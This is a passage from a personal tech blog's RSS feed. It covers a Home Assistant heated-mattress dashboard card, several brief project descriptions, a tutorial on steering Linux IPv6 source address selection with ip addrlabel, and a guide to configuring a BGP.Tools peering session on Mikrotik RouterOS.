<p><img alt="Home Assistant Dashboard" loading="lazy" src="images/hass-dashboard.webp"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">type</span>: <span style="color:#ae81ff">custom:vertical-stack-in-card</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">cards</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">conditional</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">conditions</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_master_power</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">state</span>: <span style="color:#e6db74">&#34;on&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">card</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">type</span>: <span style="color:#ae81ff">button</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">show_name</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">show_icon</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_master_power</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:car-seat-heater</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">show_state</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Bed Power</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">conditional</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">conditions</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_master_power</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">state_not</span>: <span style="color:#e6db74">&#34;on&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">card</span>:
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">type</span>: <span style="color:#ae81ff">button</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">show_name</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">show_icon</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">tap_action</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">action</span>: <span style="color:#ae81ff">call-service</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">service</span>: <span style="color:#ae81ff">script.warm_bed</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">service_data</span>: {}
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">target</span>: {}
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:car-seat-heater</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">show_state</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Preheat Bed</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">custom:collapsable-cards</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">title</span>: <span style="color:#ae81ff">Details</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">cards</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">entities</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">entities</span>:
</span></span><span style="display:flex;"><span>          - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_master_power</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Power</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:radiator</span>
</span></span><span style="display:flex;"><span>          - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">number.mattress_master_heat_level</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Level</span>
</span></span><span style="display:flex;"><span>          - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_master_preheat_power</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Preheat</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:fire</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">state_color</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">show_header_toggle</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">custom:vertical-stack-in-card</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">horizontal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">cards</span>:
</span></span><span style="display:flex;"><span>          - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">entities</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">entities</span>:
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_side_a_power</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">A</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:radiator</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">secondary_info</span>: <span style="color:#ae81ff">none</span>
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">number.mattress_side_a_level</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Level</span>
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_side_a_preheat</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Preheat</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:fire</span>
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">select.mattress_side_a_set_timer</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Timer</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:clock-edit</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">show_header_toggle</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">state_color</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>          - <span style="color:#f92672">type</span>: <span style="color:#ae81ff">entities</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">entities</span>:
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_side_b_power</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">B</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:radiator</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">secondary_info</span>: <span style="color:#ae81ff">none</span>
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">number.mattress_side_b_level</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Level</span>
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">switch.mattress_side_b_preheat</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Preheat</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:fire</span>
</span></span><span style="display:flex;"><span>              - <span style="color:#f92672">entity</span>: <span style="color:#ae81ff">select.mattress_side_b_set_timer</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Timer</span>
</span></span><span style="display:flex;"><span>                <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:clock-edit</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">show_header_toggle</span>: <span style="color:#66d9ef">false</span>
</span></span><span style="display:flex;"><span>            <span style="color:#f92672">state_color</span>: <span style="color:#66d9ef">true</span>
</span></span></code></pre></div>
</details></p>

]]></content:encoded></item><item><title>GPM2Spotify History</title><link>https://lanrat.com/projects/gpm2spotify-history/</link><pubDate>Thu, 13 Feb 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/gpm2spotify-history/</guid><description>&lt;p&gt;GPM2Spotify History converts Google Play Music listening history data to Spotify-compatible JSON format. The Python scripts process HTML activity files exported from Google Play Music and generate structured JSON data that can be used with modern music tracking and analysis tools.&lt;/p&gt;
&lt;p&gt;The conversion tool helps users migrate their historical listening data from the discontinued Google Play Music service to formats compatible with current music platforms and personal analytics tools. It parses activity HTML exports and transforms the data into standardized JSON structures for further processing.&lt;/p&gt;</description><content:encoded>&lt;p>GPM2Spotify History converts Google Play Music listening history data to Spotify-compatible JSON format. The Python scripts process HTML activity files exported from Google Play Music and generate structured JSON data that can be used with modern music tracking and analysis tools.&lt;/p>
&lt;p>The conversion tool helps users migrate their historical listening data from the discontinued Google Play Music service to formats compatible with current music platforms and personal analytics tools. It parses activity HTML exports and transforms the data into standardized JSON structures for further processing.&lt;/p>
</content:encoded></item><item><title>Influencing Linux IP Source Address Selection</title><link>https://lanrat.com/posts/linux-src-ip-selection/</link><pubDate>Wed, 11 Dec 2024 17:16:45 -0800</pubDate><guid>https://lanrat.com/posts/linux-src-ip-selection/</guid><description>Technical guide explaining RFC 6724 source address selection mechanisms in Linux and methods for influencing IP address selection behavior.</description><content:encoded><![CDATA[<p>When creating a socket unless manually specified, the OS will automatically determine the source address to use. However, the OS&rsquo;s default choice may not always be desired. Source Address Selection allows for influencing the sources address chosen by the OS.</p>
<h2 id="what-is-source-address-selection">What is Source Address Selection?</h2>
<p>When a host with multiple routable IP addresses sends a packet to another host, it needs to determine which of its local addresses to use as the source “from” address.</p>
<p>Hosts having multiple routable local addresses was not very common with IPv4, but it is becoming increasingly more common with IPv6. Especially if there are multiple <a href="https://en.wikipedia.org/wiki/Neighbor_Discovery_Protocol">Router-Advertised subnets</a> and <a href="https://en.wikipedia.org/wiki/IPv6_address#Stateless_address_autoconfiguration_(SLAAC)">SLAAC</a> addresses bound to the same host, either on the same interface or different interfaces.</p>
<h2 id="rfc-6724-rules">RFC 6724 Rules</h2>
<p>Unless manually specified, the source address for a packet is determined by the host’s OS. The method for determining a source address is outlined in <a href="https://datatracker.ietf.org/doc/html/rfc6724">RFC 6724</a> and should be consistent across all platforms.</p>
<p>Below are the rules outlined in <a href="https://datatracker.ietf.org/doc/html/rfc6724">RFC 6724</a>. The specifics of each rule are beyond the scope of this post. See the RFC for more details. Suffice to say the defaults are good (ex: respond to traffic with the same IP it was sent to) but there are cases there you will want to override the defaults.</p>
<ol>
<li>Prefer same address.</li>
<li>Prefer appropriate scope.</li>
<li>Avoid deprecated addresses.</li>
<li>Prefer home addresses.</li>
<li>Prefer outgoing interface.</li>
<li>Prefer matching label.</li>
<li>Prefer privacy addresses.</li>
<li>Use longest matching prefix.</li>
</ol>
<h2 id="why-override-source-address-selection">Why Override Source Address Selection?</h2>
<p>Why is this important if the routing table is correct and the defaults work?</p>
<p>Here are a few examples:</p>
<ol>
<li>If a host has multiple routable IP addresses, and sends traffic to another host behind a firewall that only allows one source address through. The default source address selection should be overridden to ensure all traffic destined to the firewalled host uses the correct source address to ensure it is not blocked.</li>
<li>If a host is on multiple networks, or dual-homed such as a <a href="https://en.wikipedia.org/wiki/Router_(computing)">router</a>, with a statically routed IP or subnet, the host will ensure that any traffic destined to or from the statically routed IP/subnet uses the correct interface.
<ol>
<li>Ex: You have a server with multiple uplinks and two IP addresses. Your primary dynamically routed address is <code>5.5.5.5</code> and is routable from every interface and secondary address is in the statically routed subnet <code>3.3.3.1/24</code> routable from only a single uplink. If the default source address selection outlined in <a href="https://datatracker.ietf.org/doc/html/rfc6724">RFC 6724</a> decides to use <code>3.3.3.1/24</code> as the default source address, your outgoing traffic may be sent from the statically routed source address to a peer/gateway that only accepts the dynamically routed address. This packet would likely be dropped on a well configured network that implemented <a href="https://datatracker.ietf.org/doc/bcp38/">BCP38</a> route filtering.</li>
</ol>
</li>
</ol>
<h2 id="overriding-source-address-selection-in-linux">Overriding source address selection in Linux</h2>
<p>Rule 6 “Prefer matching label” from the above routing source address selection rules can be influenced by custom IP address labels table. By adding to this table it is possible to influence the source address selection used.</p>
<p>The address label tables works as a simple lookup table. For each new outgoing connection the IP address label table is searched for the destination address to find a matching label. If there are multiple matches, the most specific match is used. Once found, the same table is then searched for all possible source addresses with a matching label. If one is found, that address is used as the source address.</p>
<p>The label values are numeric, but they have no ranking or purpose other than being a unique value to compare to other labels for equality. A label of 27 is not any more or less significant than a label of 42.</p>
<p>To view the current source address selection table, run: <code>ip addrlabel list</code>.</p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ ip addrlabel list
</span></span><span style="display:flex;"><span>prefix ::1/128 label <span style="color:#ae81ff">0</span> 
</span></span><span style="display:flex;"><span>prefix ::/96 label <span style="color:#ae81ff">3</span> 
</span></span><span style="display:flex;"><span>prefix ::ffff:0.0.0.0/96 label <span style="color:#ae81ff">4</span> 
</span></span><span style="display:flex;"><span>prefix 2001::/32 label <span style="color:#ae81ff">6</span> 
</span></span><span style="display:flex;"><span>prefix 2001:10::/28 label <span style="color:#ae81ff">7</span> 
</span></span><span style="display:flex;"><span>prefix 3ffe::/16 label <span style="color:#ae81ff">12</span> 
</span></span><span style="display:flex;"><span>prefix 2002::/16 label <span style="color:#ae81ff">2</span> 
</span></span><span style="display:flex;"><span>prefix fec0::/10 label <span style="color:#ae81ff">11</span> 
</span></span><span style="display:flex;"><span>prefix fc00::/7 label <span style="color:#ae81ff">5</span> 
</span></span><span style="display:flex;"><span>prefix ::/0 label <span style="color:#ae81ff">1</span>
</span></span></code></pre></div><p>A new address label can be added to the table with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ip addrlabel add prefix $PREFIX dev $IFACE label $LABEL
</span></span></code></pre></div><p>The <code>dev $IFACE</code> portion is not required. But it is a good idea to be specific and force the label entry to a particular device.</p>
<h3 id="example">Example</h3>
<p>Lets say you have a host with the IPv6 addresses <code>2001:0DB8:AAAA::2/64</code> and <code>2001:0DB8:BBBB::2/64</code>. All traffic egressing from this host should use the source IP <code>2001:0DB8:AAAA::2</code> except traffic destined for anything in the subnet <code>2001:0DB8:FOO:BAR::/64</code>  which should use <code>2001:0DB8:BBBB::2</code>. This can be forced by adding the following IP address labels:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># set the specific case with label 42</span>
</span></span><span style="display:flex;"><span>ip addrlabel add prefix 2001:0DB8:FOO:BAR::/64 label <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span>ip addrlabel add prefix 2001:0DB8:BBBB::2 label <span style="color:#ae81ff">42</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># set the default case with label 99</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># The following are actually not needed but included for completeness.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># the prior rules will take the addresses with label 42 out of</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># the pool of matching addresses using the default labels.</span>
</span></span><span style="display:flex;"><span>ip addrlabel add prefix ::/0 label <span style="color:#ae81ff">99</span>
</span></span><span style="display:flex;"><span>ip addrlabel add prefix 2001:0DB8:AAAA::2 label <span style="color:#ae81ff">99</span>
</span></span></code></pre></div><p>In this example the labels <code>99</code> and <code>42</code> are used. But they are arbitrary and can be any number not already in use by an existing address label.</p>
<h2 id="exclude-an-address-from-the-list-of-possible-defaults-to-select">Exclude an Address from the List of Possible Defaults to Select</h2>
<p>Sometimes a system may have multiple addresses, and you may just want to exclude an address from the list of possible defaults from the OS to choose from. For this particular case you only need to add the address to the address list table with a label that is not already in use.</p>
<p>Since the address will not have any other matching addresses or networks in the table with the same label, it won&rsquo;t match anything, and any other address will take prescience.</p>
<p>The following can be used to remove the address <code>2001:0DB8:BBBB::2</code> from the host&rsquo;s default address selection if we want all traffic to use another source address (assuming no other rules change this)</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ip addrlabel add prefix 2001:0DB8:BBBB::2 label <span style="color:#ae81ff">32</span>
</span></span></code></pre></div><h3 id="set-source-address-rules-address-labels-at-boot-in-debian">Set Source Address Rules Address Labels at Boot in Debian</h3>
<p>Once the address labels are added, they will take effect immediately. However they are not persistent and will be lost on reboot. On <a href="https://wiki.debian.org/NetworkConfiguration">Debian</a> based systems a <code>post-up</code> hook can be used to add the rule automatically once the parent interface is brought online. Rules associated with an interface are automatically removed when that interface disappears.</p>
<p>In <code>/etc/network/interfaces</code> or <code>/etc/network/interfaces.d/INTERFACE_CONFIG</code> if you have a per-interface config, set your <code>ip addrlabel add ...</code> command in the <code>post-up</code>  section of the stanza for the desired interface. The variable <code>$IFACE</code> can be used as a placeholder for the current interface name.</p>
<p>Example:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>iface eno1 inet6 static
</span></span><span style="display:flex;"><span>  address 2001:0DB8:AAAA::2/64
</span></span><span style="display:flex;"><span>  gateway 2001:0DB8:AAAA::1
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>iface eno1 inet6 static
</span></span><span style="display:flex;"><span>  address 2001:0DB8:BBBB::2/64
</span></span><span style="display:flex;"><span>  <span style="color:#75715e">#set high label (42) to not conflict with existing label</span>
</span></span><span style="display:flex;"><span>  post-up ip addrlabel add prefix 2001:0DB8:BBBB::0/64 dev $IFACE label <span style="color:#ae81ff">42</span> <span style="color:#f92672">||</span> true
</span></span><span style="display:flex;"><span>  post-up ip addrlabel add prefix 2001:0DB8:FOO:BAR::/64 dev $IFACE label <span style="color:#ae81ff">42</span> <span style="color:#f92672">||</span> true
</span></span></code></pre></div><p>In this example no address labels are set for the desired default source address <code>2001:0DB8:AAAA::2</code>. This still works as now the non-default source address has a non-default label, causing it to not be selected for outgoing traffic by default unless another rule matches the address label.</p>
<p>The <code>post-up</code> commands end in <code>|| true</code> so that they always return with a 0 exit code. If the command was to fail and return a non-zero exit code, the interface may not finish being brought up by the OS. If this is a server, it is far more important for some of the network to be brought online so that it can be accessed (and fixed) remotely in this case instead of taking itself offline. Adding an address label that already exists will cause an error exit code, but since it already exists, its safe to ignore as it already exists.</p>
<h2 id="more-information">More Information</h2>
<ul>
<li><a href="https://biplane.com.au/blog/?p=22">IPv6 Source Address Selection – what, why, how</a></li>
<li><a href="https://biplane.com.au/blog/?p=30">Controlling IPv6 source address selection</a></li>
<li><a href="https://man7.org/linux/man-pages/man8/ip-addrlabel.8.html">ip-addrlabel - Linux manual page</a></li>
<li><a href="https://www.iitk.ac.in/LDP/HOWTO/Linux+IPv6-HOWTO/ch13.html">Address Resolver &amp; Selection</a></li>
</ul>
]]></content:encoded></item><item><title>Scroller</title><link>https://lanrat.com/projects/scroller/</link><pubDate>Fri, 25 Oct 2024 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/scroller/</guid><description>&lt;p&gt;Scroller is a web application that displays customizable scrolling text messages in fullscreen mode. The single-page application allows users to configure text content, fonts, colors, scroll speed, and background themes before launching a fullscreen display.&lt;/p&gt;
&lt;p&gt;The application includes URL hash-based message saving, automatic text scaling to fit screens, and responsive design with light/dark mode support. It&amp;rsquo;s designed for creating dynamic text displays for presentations, signage, or any scenario requiring large-scale scrolling text output.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Scroller is a web application that displays customizable scrolling text messages in fullscreen mode. The single-page application allows users to configure text content, fonts, colors, scroll speed, and background themes before launching a fullscreen display.</p>
<p>The application includes URL hash-based message saving, automatic text scaling to fit screens, and responsive design with light/dark mode support. It&rsquo;s designed for creating dynamic text displays for presentations, signage, or any scenario requiring large-scale scrolling text output.</p>
]]></content:encoded></item><item><title>Caddy Signal Proxy</title><link>https://lanrat.com/projects/caddy-signal-proxy/</link><pubDate>Wed, 25 Sep 2024 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/caddy-signal-proxy/</guid><description>&lt;p&gt;Caddy Signal Proxy implements a Signal TLS proxy using the Caddy web server and the caddy-l4 plugin. The configuration enables Signal messaging clients to connect through a TLS proxy for improved privacy or to bypass network restrictions.&lt;/p&gt;
&lt;p&gt;The deployment uses Docker Compose with a minimal configuration that can be integrated into existing Caddy setups. The proxy handles TLS termination and forwarding for Signal&amp;rsquo;s messaging infrastructure, requiring only a domain name configuration to operate.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Caddy Signal Proxy implements a Signal TLS proxy using the Caddy web server and the caddy-l4 plugin. The configuration enables Signal messaging clients to connect through a TLS proxy for improved privacy or to bypass network restrictions.</p>
<p>The deployment uses Docker Compose with a minimal configuration that can be integrated into existing Caddy setups. The proxy handles TLS termination and forwarding for Signal&rsquo;s messaging infrastructure, requiring only a domain name configuration to operate.</p>
]]></content:encoded></item><item><title>Creating a Mikrotik BGP.Tools Session</title><link>https://lanrat.com/posts/mikrotik-bgp-tools/</link><pubDate>Sun, 11 Feb 2024 12:02:27 -0800</pubDate><guid>https://lanrat.com/posts/mikrotik-bgp-tools/</guid><description>Step-by-step guide for configuring BGP.Tools peering sessions on Mikrotik RouterOS 7 for network routing analysis and mapping.</description><content:encoded><![CDATA[<p>When running a network with its own ASN, you will likely end up spending some time working with <a href="https://en.wikipedia.org/wiki/Border_Gateway_Protocol">BGP</a>. Knowing how your peer networks connect can help with your own network planning. <a href="https://bgp.tools">BGP.Tools</a> is a service that maps out different networks and the routes between them by having networks opt to provide bgp.tools with a BGP session sharing their exportable routes.</p>
<p>This guide will walk you through setting up a <a href="https://bgp.tools">BGP.Tools</a> session with a Mikrotik router running RouterOS 7.</p>
<h2 id="bgp-tools-setup">BGP Tools Setup</h2>
<p>After logging into your BGP.Tools account, visit the <a href="https://bgp.tools/authed/manage-peering">manage peering page</a> and create a new session.</p>
<p>Fill in a name for this BGP session, your AS number, your router’s IP.</p>
<p><img alt="new bgp.tools peering session" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp.tools-new.webp"></p>
<p>Select “Create Session” and make a note of the remote peering IP and AS number.</p>
<p><img alt="bgp session created" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp.tools-created.webp"></p>
<h1 id="mikrotik-routeros-setup">Mikrotik RouterOS Setup</h1>
<h2 id="route-filters">Route Filters</h2>
<p>Before creating the session, create route filters to prevent any unexpected routes from being exchanged. BGP.Tools should never send you routes from this session, but its best to explicitly tell your router to reject all incoming routes just to be safe. Similarly, you don’t want to send bgp.tools blackhole routes either.</p>
<pre tabindex="0"><code class="language-mikrotik" data-lang="mikrotik">/routing filter rule
add chain=reject comment=reject disabled=no rule=reject
add chain=bgp.tools-out disabled=no rule=&#34;if (blackhole) {reject}&#34;
add chain=bgp.tools-out disabled=no rule=accept
</code></pre><p><img alt="route filters" loading="lazy" src="/posts/mikrotik-bgp-tools/images/route-filters.webp"></p>
<h2 id="bgp-session">BGP Session</h2>
<p>Now you add the BGP session with bgp.tools.</p>
<p>At this time Mikrotik’s BGP implementation <a href="https://forum.mikrotik.com/viewtopic.php?t=191693#p972927">does not support addPath</a>, so only your router’s currently active routes will be sent to bgp.tools.</p>
<p>Unlike a normal BGP session, be sure to select both the <code>ip</code> and <code>ipv6</code> address families, and enable <code>multihop</code> since this BGP session will be over the Internet and not a LAN.</p>
<p>Be sure to change the examples to use your ASN and IP.</p>
<pre tabindex="0"><code class="language-mikrotik" data-lang="mikrotik">/routing bgp connection
add add-path-out=all address-families=ip,ipv6 as=64496 \
    disabled=no input.affinity=instance .filter=reject \
    local.address=198.51.100.1 .role=ebgp-provider multihop=yes \
    name=bgp.tools output.affinity=input .filter-chain=\
    bgp.tools-out .redistribute=bgp remote.address=\
    185.230.223.77/32 .as=212232 router-id=198.51.100.1 \
    routing-table=main
</code></pre><p><img alt="mikrotik bgp settings" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp-settings1.webp"></p>
<p><img alt="mikrotik bgp settings" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp-settings2.webp"></p>
<p><img alt="mikrotik bgp settings" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp-settings3.webp"></p>
<p>Save and enable the session once done.</p>
<h1 id="bgp-tools-results">BGP Tools Results</h1>
<p>Once the session is enabled and active, you should see it listed on your bgp.tools <a href="https://bgp.tools/authed/manage-home">account home page</a>.</p>
<p><img alt="bgp.tools established" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp-tools-established.webp"></p>
<p>And when you view your AS page you should see <code>Direct Feed</code> added to your ASN’s tags. For example, <a href="https://bgp.tools/as/22296">here is mine</a>.</p>
<p><img alt="bgp.tools tags" loading="lazy" src="/posts/mikrotik-bgp-tools/images/bgp-tools-tags.webp"></p>
<p>Now that you send BGP.Tools a BGP feed, your network’s information will be more accurate and you can use other features such as the Looking Glass!</p>
]]></content:encoded></item><item><title>Portquiz</title><link>https://lanrat.com/projects/portquiz/</link><pubDate>Tue, 16 Jan 2024 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/portquiz/</guid><description>&lt;p&gt;Portquiz tests outbound TCP and UDP connectivity to remote hosts by attempting connections across specified port ranges. The tool identifies which ports can successfully establish connections through network infrastructure such as firewalls, NAT devices, and proxies.&lt;/p&gt;
&lt;p&gt;The program can detect deep packet inspection (DPI) filtering and other network-level blocking mechanisms. It supports testing individual ports or scanning complete port ranges, with cross-platform compatibility across Windows, macOS, and Linux systems.&lt;/p&gt;</description><content:encoded>&lt;p>Portquiz tests outbound TCP and UDP connectivity to remote hosts by attempting connections across specified port ranges. The tool identifies which ports can successfully establish connections through network infrastructure such as firewalls, NAT devices, and proxies.&lt;/p>
&lt;p>The program can detect deep packet inspection (DPI) filtering and other network-level blocking mechanisms. It supports testing individual ports or scanning complete port ranges, with cross-platform compatibility across Windows, macOS, and Linux systems.&lt;/p>
</content:encoded></item><item><title>Caddy Dynamic RemoteIP</title><link>https://lanrat.com/projects/caddy-dynamic-remoteip/</link><pubDate>Tue, 12 Sep 2023 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/caddy-dynamic-remoteip/</guid><description>&lt;p&gt;Caddy Dynamic RemoteIP is a Caddy web server module that provides dynamic IP address matching capabilities. The module implements the http.matchers.dynamic_remote_ip matcher, which allows matching requests based on remote IP addresses that are dynamically sourced from configurable modules.&lt;/p&gt;
&lt;p&gt;Unlike static IP matching, this module enables real-time IP range updates through pluggable IPRangeSource implementations. This is useful for scenarios requiring dynamic access control based on changing IP ranges, such as cloud provider IP lists or threat intelligence feeds.&lt;/p&gt;</description><content:encoded>&lt;p>Caddy Dynamic RemoteIP is a Caddy web server module that provides dynamic IP address matching capabilities. The module implements the http.matchers.dynamic_remote_ip matcher, which allows matching requests based on remote IP addresses that are dynamically sourced from configurable modules.&lt;/p>
&lt;p>Unlike static IP matching, this module enables real-time IP range updates through pluggable IPRangeSource implementations. This is useful for scenarios requiring dynamic access control based on changing IP ranges, such as cloud provider IP lists or threat intelligence feeds.&lt;/p>
</content:encoded></item><item><title>TOOR.sh</title><link>https://lanrat.com/projects/toor.sh/</link><pubDate>Wed, 17 May 2023 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/toor.sh/</guid><description>&lt;p&gt;TOOR.sh is a cloud and VM hosting service operated by ToorCon, a 501c3 non-profit organization that provides free hosting resources for security research and public benefit projects. The service includes dedicated servers for VMs, storage, and databases, along with their own ISP infrastructure (AS22296).&lt;/p&gt;
